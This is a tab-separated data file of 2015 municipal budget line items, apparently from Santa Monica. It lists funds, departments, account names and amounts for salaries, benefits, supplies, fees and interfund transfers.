17890	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	1500	0	0	0	0	0	0	0	0	0	0	0	1500
17891	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	100	0	0	0	0	0	0	0	0	0	0	0	100
17892	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	25350	0	0	0	0	0	0	0	0	0	0	0	25350
17893	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	3500	0	0	0	0	0	0	0	0	0	0	0	3500
17894	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533110.0	SPECIAL EQUIPMENT-OPER SUPS	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17895	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	22500	0	0	0	0	0	0	0	0	0	0	0	22500
17896	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	22236	0	0	0	0	0	0	0	0	0	0	0	22236
17897	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	108459	0	0	0	0	0	0	0	0	0	0	0	108459
17898	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	47430	0	0	0	0	0	0	0	0	0	0	0	47430
17899	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	3540	0	0	0	0	0	0	0	0	0	0	0	3540
17900	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2015	294	0	0	0	0	0	0	0	0	0	0	0	294
17901	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	901	0	0	0	0	0	0	0	0	0	0	0	901
17902	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2015	3120	0	0	0	0	0	0	0	0	0	0	0	3120
17903	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2015	3390	0	0	0	0	0	0	0	0	0	0	0	3390
17904	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2015	1027	0	0	0	0	0	0	0	0	0	0	0	1027
17905	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2015	1020	0	0	0	0	0	0	0	0	0	0	0	1020
17906	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2015	419	0	0	0	0	0	0	0	0	0	0	0	419
17907	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	2300	0	0	0	0	0	0	0	0	0	0	0	2300
17908	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	2985	0	0	0	0	0	0	0	0	0	0	0	2985
17909	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2015	950	0	0	0	0	0	0	0	0	0	0	0	950
17910	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2015	100	0	0	0	0	0	0	0	0	0	0	0	100
17911	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	900	0	0	0	0	0	0	0	0	0	0	0	900
17912	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	1501	0	0	0	0	0	0	0	0	0	0	0	1501
17913	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2015	929	0	0	0	0	0	0	0	0	0	0	0	929
17914	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	200	0	0	0	0	0	0	0	0	0	0	0	200
17915	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2015	1222	0	0	0	0	0	0	0	0	0	0	0	1222
17916	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	510000.0	SALARIES AND WAGES	808.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17917	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400440.0	PARK FILMING LOCATION FEES	612.0	Charges for Service	2015	-49900	0	0	0	0	0	0	0	0	0	0	0	-49900
17918	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2015	1076	0	0	0	0	0	0	0	0	0	0	0	1076
17919	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER FROM FUND 04		 Supplies and Expenses	2015	-276857	0	0	0	0	0	0	0	0	0	0	0	-276857
17920	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400773.0	JONATHAN CLUB-IMPROVEMENTS	618.0	Rentals	2015	-75000	0	0	0	0	0	0	0	0	0	0	0	-75000
17921	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2015	36918	0	0	0	0	0	0	0	0	0	0	0	36918
17922	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17923	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2015	3325	0	0	0	0	0	0	0	0	0	0	0	3325
17924	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2015	428	0	0	0	0	0	0	0	0	0	0	0	428
17925	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533250.0	RESTROOM MAINTENANCE		 Supplies and Expenses	2015	15000	0	0	0	0	0	0	0	0	0	0	0	15000
17926	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	252344	0	0	0	0	0	0	0	0	0	0	0	252344
17927	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	4065	0	0	0	0	0	0	0	0	0	0	0	4065
17928	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2015	3839	0	0	0	0	0	0	0	0	0	0	0	3839
17929	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DCAP		Salaries and Wages	2015	286	0	0	0	0	0	0	0	0	0	0	0	286
17930	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2015	1500	0	0	0	0	0	0	0	0	0	0	0	1500
17931	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533280.0	AVIATION MAINTENANCE		 Supplies and Expenses	2015	125000	0	0	0	0	0	0	0	0	0	0	0	125000
17932	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402660.0	FUTURE REPLACEMENTS	650.0	Charges for Service	2015	-5600747	0	0	0	0	0	0	0	0	0	0	0	-5600747
17933	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402690.0	CNG FUEL-DEPT USAGE	650.0	Charges for Service	2015	-322000	0	0	0	0	0	0	0	0	0	0	0	-322000
17934	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402700.0	REGULAR FUEL-DEPT USAGE	650.0	Charges for Service	2015	-450000	0	0	0	0	0	0	0	0	0	0	0	-450000
17935	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	158174	0	0	0	0	0	0	0	0	0	0	0	158174
17936	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511748.0	DENTAL	808.0	Salaries and Wages	2015	26046	0	0	0	0	0	0	0	0	0	0	0	26046
17937	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2015	14400	0	0	0	0	0	0	0	0	0	0	0	14400
17938	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	709178	0	0	0	0	0	0	0	0	0	0	0	709178
17939	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2015	3425	0	0	0	0	0	0	0	0	0	0	0	3425
17940	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2015	-3000	0	0	0	0	0	0	0	0	0	0	0	-3000
17941	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17942	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-10250	0	0	0	0	0	0	0	0	0	0	0	-10250
17943	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-11537	0	0	0	0	0	0	0	0	0	0	0	-11537
17944	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2015	-7558	0	0	0	0	0	0	0	0	0	0	0	-7558
17945	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2015	-34674	0	0	0	0	0	0	0	0	0	0	0	-34674
17946	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17947	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2015	-21625	0	0	0	0	0	0	0	0	0	0	0	-21625
17948	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2015	-1911	0	0	0	0	0	0	0	0	0	0	0	-1911
17949	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-85001	0	0	0	0	0	0	0	0	0	0	0	-85001
17950	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-43446	0	0	0	0	0	0	0	0	0	0	0	-43446
17951	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577723.0	CDBG - RESIDENTIAL REHAB PROG		 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17952	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	8	0	0	0	0	0	0	0	0	0	0	0	8
17953	BA	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400860.0	ST GAS TAX APPORTIONMENT	610.0	Intergovernmental	2015	-1959004	0	0	0	0	0	0	0	0	0	0	0	-1959004
17954	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409032.0	CAMP SM-SPRING	612.0	Charges for Service	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17955	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2015	2487	0	0	0	0	0	0	0	0	0	0	0	2487
17956	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2015	3077	0	0	0	0	0	0	0	0	0	0	0	3077
17957	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402810.0	URN SALES	650.0	Charges for Service	2015	-18782	0	0	0	0	0	0	0	0	0	0	0	-18782
17958	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511490.0	OVERTIME		Salaries and Wages	2015	1122	0	0	0	0	0	0	0	0	0	0	0	1122
17959	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2015	432	0	0	0	0	0	0	0	0	0	0	0	432
17960	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	1629	0	0	0	0	0	0	0	0	0	0	0	1629
17961	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577550.0	FARMERS' MARKET SUPPLIES		 Supplies and Expenses	2015	38414	0	0	0	0	0	0	0	0	0	0	0	38414
17962	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2015	9235	0	0	0	0	0	0	0	0	0	0	0	9235
17963	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FRAUD RECOVERY	610.0	Intergovernmental	2015	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
17964	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400924.0	SPC ADMIN EXPANSION	610.0	Intergovernmental	2015	-12918	0	0	0	0	0	0	0	0	0	0	0	-12918
17965	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400923.0	SPC ADMIN SU05	610.0	Intergovernmental	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17966	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	5982	0	0	0	0	0	0	0	0	0	0	0	5982
17967	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FRAUD RECOVERY	610.0	Intergovernmental	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17968	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511749.0	VISION	816.0	Salaries and Wages	2015	1904	0	0	0	0	0	0	0	0	0	0	0	1904
17969	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
17970	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577344.0	HAP-VOUCHER	816.0	 Supplies and Expenses	2015	12442164	0	0	0	0	0	0	0	0	0	0	0	12442164
17971	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2015	18703	0	0	0	0	0	0	0	0	0	0	0	18703
17972	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	9878	0	0	0	0	0	0	0	0	0	0	0	9878
17973	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2015	875	0	0	0	0	0	0	0	0	0	0	0	875
17974	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	6969	0	0	0	0	0	0	0	0	0	0	0	6969
17975	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2015	1680	0	0	0	0	0	0	0	0	0	0	0	1680
17976	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	2782	0	0	0	0	0	0	0	0	0	0	0	2782
17977	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560050.0	TOOL ALLOWANCE		 Supplies and Expenses	2015	35200	0	0	0	0	0	0	0	0	0	0	0	35200
17978	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-38189	0	0	0	0	0	0	0	0	0	0	0	-38189
17979	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-22543	0	0	0	0	0	0	0	0	0	0	0	-22543
17980	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-22373	0	0	0	0	0	0	0	0	0	0	0	-22373
17981	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-11510	0	0	0	0	0	0	0	0	0	0	0	-11510
17982	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-20481	0	0	0	0	0	0	0	0	0	0	0	-20481
17983	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	-3248	0	0	0	0	0	0	0	0	0	0	0	-3248
17984	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511018.0	PERMANENT EMPLOY SWORN FIRE	806.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17985	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	886052	0	0	0	0	0	0	0	0	0	0	0	886052
17986	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	12848	0	0	0	0	0	0	0	0	0	0	0	12848
17987	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511749.0	VISION	804.0	Salaries and Wages	2015	1029	0	0	0	0	0	0	0	0	0	0	0	1029
17988	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-5799	0	0	0	0	0	0	0	0	0	0	0	-5799
17989	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	2625	0	0	0	0	0	0	0	0	0	0	0	2625
17990	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579250.0	GEOGRAPHIC INFORMATION SYSTEM	804.0	 Supplies and Expenses	2015	31000	0	0	0	0	0	0	0	0	0	0	0	31000
17991	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401780.0	PICNIC AREA PERMITS	612.0	Charges for Service	2015	-11000	0	0	0	0	0	0	0	0	0	0	0	-11000
17992	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577346.0	HAP PORT-IN	816.0	 Supplies and Expenses	2015	333600	0	0	0	0	0	0	0	0	0	0	0	333600
17993	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2015	4744	0	0	0	0	0	0	0	0	0	0	0	4744
17994	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562190.0	 CLARE CLARITY FOR YOUTH		 Supplies and Expenses	2015	41651	0	0	0	0	0	0	0	0	0	0	0	41651
17995	BA	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	810.0	Salaries and Wages	2015	11988	0	0	0	0	0	0	0	0	0	0	0	11988
17996	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	6640	0	0	0	0	0	0	0	0	0	0	0	6640
17997	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405351.0	PRIVATE HAULER ANN. PERMIT FEE	650.0	Charges for Service	2015	-26100	0	0	0	0	0	0	0	0	0	0	0	-26100
17998	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405352.0	PRIVATE HAULER PER TON PAYMENT	650.0	Charges for Service	2015	-136000	0	0	0	0	0	0	0	0	0	0	0	-136000
17999	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569222.0	RUSKIN GROUP THEATRE	810.0	 Supplies and Expenses	2015	16000	0	0	0	0	0	0	0	0	0	0	0	16000
18000	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2015	638	0	0	0	0	0	0	0	0	0	0	0	638
18001	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408260.0	AHPP COMP MONITOR-ANNUAL FEE	622.0	Other	2015	-145000	0	0	0	0	0	0	0	0	0	0	0	-145000
18002	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533210.0	BLDG OPER / CUST SUPPLIES	804.0	 Supplies and Expenses	2015	8500	0	0	0	0	0	0	0	0	0	0	0	8500
18003	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2015	-1608	0	0	0	0	0	0	0	0	0	0	0	-1608
18004	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2015	314	0	0	0	0	0	0	0	0	0	0	0	314
18005	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2015	266117	0	0	0	0	0	0	0	0	0	0	0	266117
18006	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	578420.0	POLICE PIER PATROL		 Supplies and Expenses	2015	381960	0	0	0	0	0	0	0	0	0	0	0	381960
18007	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	3862	0	0	0	0	0	0	0	0	0	0	0	3862
18008	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18009	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2015	6000	0	0	0	0	0	0	0	0	0	0	0	6000
18010	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
18011	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408290.0	FIRE SAFETY OFFICER ASSIGN FEE	612.0	Charges for Service	2015	-400000	0	0	0	0	0	0	0	0	0	0	0	-400000
18012	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2015	305	0	0	0	0	0	0	0	0	0	0	0	305
18013	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408340.0	URBAN RUNOFF MIT. INSP. ONSITE	612.0	Charges for Service	2015	-25000	0	0	0	0	0	0	0	0	0	0	0	-25000
18014	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	407780.0	FIBER OPTIC SERVICES	618.0	Rentals	2015	-2000000	0	0	0	0	0	0	0	0	0	0	0	-2000000
18015	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	588030.0	COMPUTER EQUIPMENT	804.0	 Supplies and Expenses	2015	75000	0	0	0	0	0	0	0	0	0	0	0	75000
18016	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579320.0	TRANSFER OUT TO CEMETERY FUND	910.0	 Supplies and Expenses	2015	233013	0	0	0	0	0	0	0	0	0	0	0	233013
18017	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579320.0	TRANSFER IN FROM GENERAL FUND		 Supplies and Expenses	2015	-233013	0	0	0	0	0	0	0	0	0	0	0	-233013
18018	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY HALL	808.0	 Supplies and Expenses	2015	172577	0	0	0	0	0	0	0	0	0	0	0	172577
18019	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-3RD ST & MISC	800.0	 Supplies and Expenses	2015	29922	0	0	0	0	0	0	0	0	0	0	0	29922
